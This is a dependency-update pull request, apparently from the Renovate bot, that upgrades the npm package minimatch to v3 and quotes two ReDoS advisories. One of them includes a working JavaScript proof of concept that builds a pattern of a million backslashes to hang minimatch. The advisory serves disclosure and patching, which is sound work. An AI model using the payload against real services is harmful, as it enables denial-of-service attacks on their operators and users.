Update dependency minimatch to v3 [SECURITY] #1322

renovate · 2025-08-13T16:42:54Z

This PR contains the following updates:

Package	Change	Age	Confidence
minimatch	`~0.3.0` -> `~3.0.0`

GitHub Vulnerability Alerts

CVE-2016-10540

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

CVE-2022-3517

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Release Notes

isaacs/minimatch (minimatch)

Uh oh!

Update dependency minimatch to v3 [SECURITY] #1322

Are you sure you want to change the base?

Update dependency minimatch to v3 [SECURITY] #1322

Uh oh!

Conversation

renovate bot commented Aug 13, 2025

GitHub Vulnerability Alerts

Proof of Concept

Recommendation

Release Notes

Configuration

Uh oh!

Uh oh!